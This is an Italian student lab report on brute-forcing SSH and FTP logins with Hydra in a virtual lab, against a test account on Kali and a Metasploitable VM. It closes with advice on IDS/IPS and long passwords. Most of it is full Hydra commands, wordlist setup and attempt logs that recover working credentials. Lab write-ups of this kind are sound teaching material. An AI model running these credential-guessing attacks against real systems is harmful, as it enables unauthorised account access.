

Report 27/03/2026

Alunno: Pancrazio Giuzio

Traccia: L'esercizio di oggi ha un duplice scopo: Esercizio Traccia- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione Ricordate che la configurazione dei servizi è essa stessa parte dell'esercizio L'esercizio si svilupperà in due fasi:- Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra;- Una seconda fase dove configurerete e craccherete il servizio ftp.

Prefazione : Hydra è un tool per fare cracking di password online, questo tool a differenza di JtR svolge la sua attività direttamente online , tentando di craccare le password sul servizio richiesto è molto potente in quanto multi-thread ovvero puo' eseguire il test di decine di password contemporaneamente , cosa che lo rende molto pericoloso ma allo stesso tempo piu' visibile da IDS IPS ,in questo esercizio ci concentreremo sulla sua configurazione e su come potremmo utilizzarlo su vari servizi sia interni di kali, o verso altri servizi del nostro laboratorio virtuale.

Svolgimento guidato :

come prima cosa andremo a creare il nostro nuovo test_user

```
(kali@kali)-[~]
$ sudo adduser test_user
[sudo] password for kali:
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
   Room Number []:
   Work Phone []:
   Home Phone []:
    Other []:
Is the information correct? [Y/n] y
(kali@kali)-[~]
$
```

come possiamo vedere kali ci chiede varie informazioni sul nuovo utente ma noi impostiamo solo la password che sarà testpass come da indicazioni.

Ora attiveremo il servizio ssh una volta fatto andremo a vedere se il file config è stato caricato correttamente per poter permettere al test_user di poter ricevere una connessione ssh.

```
(kali@kali)-[~]
$ sudo service ssh start
(kali@kali)-[~]
$
```

```
kali@kali: ~
Session Actions Edit View Help
GNU nano 2.7 /etc/ssh/sshd_config
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default values where
# possible, but leave them commented. Uncommented options override the
# default value.
Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#KexAlgorithms default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:
#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2
#AuthorizedPrincipalsFile none
#AuthorizedKeysCommand none

# Help      Write Out  Where Is  Cut        Execute    Location  Undo      Set Mark  To Bracket Previous  Back      Prev Word  Home
# Exit     Read File  Replace   Paste      Justify    Go To Line Redo      Copy      Where Was Next     Forward   Next Word  End
```

ora verifichiamo il nostro test_user se ha puo avere questo tipo di connessione per poi craccare la sua password da kali verso test_user

```
test_user@kali: ~
Session Actions Edit View Help

(kali@kali)-[~]
$ ssh test_user@192.168.51.100
The authenticity of host '192.168.51.100 (192.168.51.100)' can't be established.
ED25519 key fingerprint is: SHA256:uMRvQbhnB6HMGin3NWobhEok8DP+luF9wKsxn+VMxkI
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.51.100' (ED25519) to the list of known hosts.
test_user@192.168.51.100's password:
Linux kali 6.18.5+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.18.5-1kali1 (2026-01-19) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user@kali)-[~]
$
```

come possiamo vedere il nostro terminale ha cambiato utente da kali-kali a user-kali questo indica che ha preso correttamente le nostre impostazioni assegnando all'utente user anche una sha256 key fingerprint . Ci sta mettendo anche in guardia che ora è un utente permanentemente conosciuto ed aggiunto al 192.168.51.100 ora passiamo all'attacco delle credenziali tramite Hydra sul nostro user_test

```
(kali@kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
-P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
192.168.51.100 -t 4 -vV ssh
```

dopo aver scaricato le seclist andiamo ad eseguire in nostro attacco sul utente user_test , tramite il comando -L indichiamo la lista di username da usare , con -P le password all'indirizzo della nostra kali , il -t 4 indica ad idra di non andare troppo velocemente in quanto potrebbe sovraccaricare stesso il servizio ssh e farlo cadere metre la -vV indica la modalità verbose, tutto cio' che Hydra proverà sara stampato a

schermo sul terminale . Utilizzando -l in minuscolo e -p avremmo specificato noi username e password da utilizzare .

```
VERBOSE] Resolving addresses ... [VERBOSE] resolving done
INFO] Testing if password authentication is supported by ssh://root@192.168.51.100:22
INFO] Successful, password authentication is supported by ssh://192.168.51.100:22
ATTEMPT] target 192.168.51.100 - login "root" - pass "password" - 1 of 170000 [child 0] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "123456" - 2 of 170000 [child 1] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "12345678" - 3 of 170000 [child 2] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "1234" - 4 of 170000 [child 3] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "qwerty" - 5 of 170000 [child 1] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "12345" - 6 of 170000 [child 0] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "dragon" - 7 of 170000 [child 3] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "pussy" - 8 of 170000 [child 2] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "baseball" - 9 of 170000 [child 1] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "football" - 10 of 170000 [child 1] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "letmein" - 11 of 170000 [child 0] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "monkey" - 12 of 170000 [child 2] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "696969" - 13 of 170000 [child 3] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "abc123" - 14 of 170000 [child 1] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "mustang" - 15 of 170000 [child 0] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "michael" - 16 of 170000 [child 2] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "shadow" - 17 of 170000 [child 3] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "master" - 18 of 170000 [child 1] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "jennifer" - 19 of 170000 [child 0] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "111111" - 20 of 170000 [child 3] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "2000" - 21 of 170000 [child 0] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "jordan" - 22 of 170000 [child 3] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "superman" - 23 of 170000 [child 0] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "harley" - 24 of 170000 [child 2] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "1234567" - 25 of 170000 [child 1] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "fuckme" - 26 of 170000 [child 3] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "hunter" - 27 of 170000 [child 1] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "fuckyou" - 28 of 170000 [child 2] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "trustno1" - 29 of 170000 [child 0] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "ranger" - 30 of 170000 [child 3] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "buster" - 31 of 170000 [child 2] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "thomas" - 32 of 170000 [child 0] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "tigger" - 33 of 170000 [child 3] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "robert" - 34 of 170000 [child 1] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "soccer" - 35 of 170000 [child 2] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "fuck" - 36 of 170000 [child 2] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "batman" - 37 of 170000 [child 0] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "test" - 38 of 170000 [child 1] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "pass" - 39 of 170000 [child 3] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "killer" - 40 of 170000 [child 2] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "hockey" - 41 of 170000 [child 0] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "george" - 42 of 170000 [child 1] (0/0)
ATTEMPT] target 192.168.51.100 - login "root" - pass "charlie" - 43 of 170000 [child 3] (0/0)
ERROR] could not connect to target port 22: Socket error: Connection reset by peer
ERROR] ssh protocol error
VERBOSE] Retrying connection for child 2
```

come possiamo notare nonostante hydra sia partito la connessione è stata resettata , proveremo quindi a far ripartire il protocollo ssh e andremo in modo t 3 per evitare che il servizio cada .

```

[ATTEMPT] target 192.168.51.100 - login "root" - pass "house" - 441 of 170000 [child 1] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "free" - 442 of 170000 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "123321" - 443 of 170000 [child 2] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "chevy" - 444 of 170000 [child 1] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "bullshit" - 445 of 170000 [child 2] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "white" - 446 of 170000 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "broncos" - 447 of 170000 [child 1] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "horney" - 448 of 170000 [child 2] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "surfer" - 449 of 170000 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "nissan" - 450 of 170000 [child 1] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "999999" - 451 of 170000 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "saturn" - 452 of 170000 [child 1] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "airborne" - 453 of 170000 [child 2] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "elephant" - 454 of 170000 [child 1] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "marvin" - 455 of 170000 [child 2] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "shit" - 456 of 170000 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "action" - 457 of 170000 [child 2] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "adidas" - 458 of 170000 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "qwert" - 459 of 170000 [child 1] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "kevin" - 460 of 170000 [child 2] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "1313" - 461 of 170000 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "explorer" - 462 of 170000 [child 1] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "walker" - 463 of 170000 [child 2] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "police" - 464 of 170000 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "christin" - 465 of 170000 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "december" - 466 of 170000 [child 1] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "benjamin" - 467 of 170000 [child 2] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "wolf" - 468 of 170000 [child 1] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "sweet" - 469 of 170000 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "therock" - 470 of 170000 [child 2] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "king" - 471 of 170000 [child 1] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "online" - 472 of 170000 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "dickhead" - 473 of 170000 [child 2] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "brooklyn" - 474 of 170000 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "teresa" - 475 of 170000 [child 2] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "cricket" - 476 of 170000 [child 1] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "sharon" - 477 of 170000 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "dexter" - 478 of 170000 [child 2] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "racing" - 479 of 170000 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "penis" - 480 of 170000 [child 1] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "gregory" - 481 of 170000 [child 1] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "0000" - 482 of 170000 [child 2] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "teens" - 483 of 170000 [child 1] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "redwings" - 484 of 170000 [child 2] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "dreams" - 485 of 170000 [child 1] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "michigan" - 486 of 170000 [child 0] (0/0)

```

purtroppo pero' come possiamo notare il t3 e il cercare di indovinare utente e password ci mettono davvero molto tempo sulla nostra VM quindi andremo a dare una mano a hydra indicandogli una solo username, se dovesse stare ancora tanto faremo noi due file .txt per dargli le credenziali giuste

```

(kali@kali)-[~]
$ echo -e "root\nadmin\ntest_user" > target_users.txt
echo -e "123456\npassword\ntestpass\nadmin123" > target_pass.txt

```

in questo caso la soluzione migliore è dare ad hydra le credenziali giuste , siamo andati a creare questo file tramite il comando echo per inserire nei nuovi contenitori .txt gli user e le password , il \n indica di andare accappo in questo caso per creare la lista degli elementi.

```

(kali@kali)-[~]
$ hydra -L target_users.txt -P target_pass.txt 192.168.51.100 -t 1 -vv ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-27 08:18:43
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 12 login tries (1:3/p+4), -12 tries per task
[DATA] attacking ssh://192.168.51.100:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://root@192.168.51.100:22
[INFO] Successful, password authentication is supported by ssh://192.168.51.100:22
[ATTEMPT] target 192.168.51.100 - login "root" - pass "123456" - 1 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "password" - 2 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "testpass" - 3 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "root" - pass "admin123" - 4 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "admin" - pass "123456" - 5 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "admin" - pass "password" - 6 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "admin" - pass "testpass" - 7 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "admin" - pass "admin123" - 8 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "test_user" - pass "123456" - 9 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "test_user" - pass "password" - 10 of 12 [child 0] (0/0)
[ATTEMPT] target 192.168.51.100 - login "test_user" - pass "testpass" - 11 of 12 [child 0] (0/0)
[22][ssh] host: 192.168.51.100 login: test_user password: testpass
[STATUS] attack finished for 192.168.51.100 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-27 08:19:25

(kali@kali)-[~]
$

```

come possiamo notare qui ,il comportamento di hydra è molto predittivo , ma utile allo scopo , ogni combinazione possibile bene utilizzata tramite prima un username con tutte le sue relative password per poi passare al secondo e fare lo stesso etc.

Parte 2

Procedete con la configurazione e il cracking del servizio ftp su Kali. Potete semplicemente installare ftp con il seguente comando: `sudo apt install vsftpd` E poi avviare il servizio con: `sudo service vsftpd start`

Svolgimento :

Installiamo e facciamo partire il servizio .

```

Session  Actions  Edit  View  Help

(kali@kali)-[~]
$ sudo nano /etc/vsftpd.conf

(kali@kali)-[~]
$ sudo systemctl restart vsftpd

(kali@kali)-[~]
$ sudo ss -lntp | grep :21

LISTEN 0      32          *:*          *:*    users:(("vsftpd",pid=512078,fd=3))

(kali@kali)-[~]
$

```

dopo averlo scaricato siamo andati a controllare il file di configurazione per poter vedere se accettasse connessioni con il e abilitato il write , dopo aver visto che il servizio è realmente in ascolto sulla porta 21 , andremo sempre con Hydra e le wordlist create prima a craccarlo.


```
kali@kali: ~  
Session Actions Edit View Help  
--(kali@kali)-[~]  
$ hydra -L target_users.txt -P target_pass.txt 192.168.51.100 -t 3 -vv Ftp  
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-27 08:46:29  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -i to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore  
[DATA] max 3 tasks per 1 server, overall 3 tasks, 12 login tries (1:3/p:4), ~4 tries per task  
[DATA] attacking ftp://192.168.51.100:21/  
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done  
[ATTEMPT] target 192.168.51.100 - login "root" - pass "123456" - 1 of 12 [child 0] (0/0)  
[ATTEMPT] target 192.168.51.100 - login "root" - pass "password" - 2 of 12 [child 1] (0/0)  
[ATTEMPT] target 192.168.51.100 - login "root" - pass "testpass" - 3 of 12 [child 2] (0/0)  
[ATTEMPT] target 192.168.51.100 - login "root" - pass "admin123" - 4 of 12 [child 3] (0/0)  
[ATTEMPT] target 192.168.51.100 - login "admin" - pass "123456" - 5 of 12 [child 0] (0/0)  
[ATTEMPT] target 192.168.51.100 - login "admin" - pass "password" - 6 of 12 [child 2] (0/0)  
[ATTEMPT] target 192.168.51.100 - login "admin" - pass "testpass" - 7 of 12 [child 1] (0/0)  
[ATTEMPT] target 192.168.51.100 - login "admin" - pass "admin123" - 8 of 12 [child 2] (0/0)  
[ATTEMPT] target 192.168.51.100 - login "test_user" - pass "123456" - 9 of 12 [child 0] (0/0)  
[ATTEMPT] target 192.168.51.100 - login "test_user" - pass "password" - 10 of 12 [child 1] (0/0)  
[ATTEMPT] target 192.168.51.100 - login "test_user" - pass "testpass" - 11 of 12 [child 2] (0/0)  
[ATTEMPT] target 192.168.51.100 - login "test_user" - pass "admin123" - 12 of 12 [child 0] (0/0)  
[21][ftp] host: 192.168.51.100 login: test_user password: testpass  
[STATUS] attack finished for 192.168.51.100 (waiting for children to complete tests)  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-27 08:46:56  
--(kali@kali)-[~]  
$
```

come possiamo vedere avendo fatto partire il servizio tramite vftpd siamo riusciti a craccare la stessa password dell'utente che abbiamo creato in precedenza e con le stesse wordlist.

Parte 3 Metasploitable

```
kali@kali: ~  
Session Actions Edit View Help  
--(kali@kali)-[~]  
$ echo "msfadmin" >> target_users.txt  
--(kali@kali)-[~]  
$ echo "msfadmin" >> target_pass.txt  
--(kali@kali)-[~]  
$
```

per la metasploitable andiamo ad aggiungere l'utente msfadmin e la password msfadmin per specificare i nostri tipi username e password che conosciamo già , siamo andati a mettere sulla stessa rete la macchina target e la macchina attaccante Procediamo ora con l'exploit tramite hydra di uno dei servizi aperti in questo caso proveremo la sessione ftp di nuovo .

```
kali@kali: ~  
Session Actions Edit View Help  
--(kali@kali)-[~]  
$ hydra -L target_users.txt -P target_pass.txt 192.168.50.101 -t 16 -vv Ftp  
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-27 09:11:46  
[DATA] max 16 tasks per 1 server, overall 16 tasks, 20 login tries (1:4/p:5), ~2 tries per task  
[DATA] attacking ftp://192.168.50.101:21/  
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done  
[ATTEMPT] target 192.168.50.101 - login "root" - pass "123456" - 1 of 20 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "root" - pass "password" - 2 of 20 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "root" - pass "testpass" - 3 of 20 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "root" - pass "admin123" - 4 of 20 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "root" - pass "msfadmin" - 5 of 20 [child 4] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "123456" - 6 of 20 [child 5] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "password" - 7 of 20 [child 6] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "testpass" - 8 of 20 [child 7] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "admin123" - 9 of 20 [child 8] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "msfadmin" - 10 of 20 [child 9] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "123456" - 11 of 20 [child 10] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "password" - 12 of 20 [child 11] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "testpass" - 13 of 20 [child 12] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "admin123" - 14 of 20 [child 13] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "msfadmin" - 15 of 20 [child 14] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456" - 16 of 20 [child 15] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 17 of 20 [child 4] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "testpass" - 18 of 20 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "admin123" - 19 of 20 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 20 of 20 [child 6] (0/0)  
[STATUS] attack finished for 192.168.50.101 (waiting for children to complete tests)  
[21][ftp] host: 192.168.50.101 login: msfadmin password: msfadmin  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-27 09:11:53  
--(kali@kali)-[~]  
$ ftp 192.168.50.101  
Connected to 192.168.50.101.  
220 (vsftpd 2.3.4)  
Name (192.168.50.101:kali): msfadmin  
331 Please specify the password.  
Password:  
230 Login successful.  
Remote system type is UNIX.  
Using binary mode to transfer files.  
ftp> ls  
229 Entering Extended Passive Mode (|||12848|).  
150 Here comes the directory listing.  
dwxr-xr-x 6 1000 1000 4096 Apr 28 2010 vulnerable
```

come possiamo notare anche questa volta hydra ha ovviamente trovato le credenziali giuste , il tempo t 16 è stato impostato proprio perchè la macchina regge a questo tipo di connessioni bruteforce molto bene , mentre la nostra kali è molto piu' sensibile. Vanno aggiunte pero' un paio di considerazioni finali sul cio' che è possibile fare online con hydra; attacchi possono essere molto produttivi in quanto la quantità tentativi di login che si possono fare sono realmente elevati , un sistema senza un IDS IPS avrebbe tante difficoltà a gestirli, tuttavia i sistemi che hanno questo tipo di difese molto spesso tendono a bannare e segnalare attività sospette o ripetuti tentativi di login provenienti da un determinato ip , per questo il brute forcing on line forse se non si hanno i giusti decoy o le giuste esche che possono essere "sparse tra vari IP " puo' avere poco senso se non si conosce almeno il nome utente da attaccare. Infine la considerazione che posso fare è quella di usare password alfanumeriche lunghe , arrivando dai 12 ai 15 caratteri che includano varianti simboliche e numeriche per dare uno svantaggio a chi cerca di fare un bruteforce , online e/o offline in quanto richiedono una capacità di calcolo esponenziale e tempi molto lunghi per essere craccate , sempre se ci si riesce. Nonostante come abbiamo visto con JtR c'è la possibilità di usare anche le variabili ; che siano upper text down text o simboliche arrivare a per arrivare a craccarle serve una forza computazionale non da poco per ridurre i tempi. E non è detto che ci si riesca.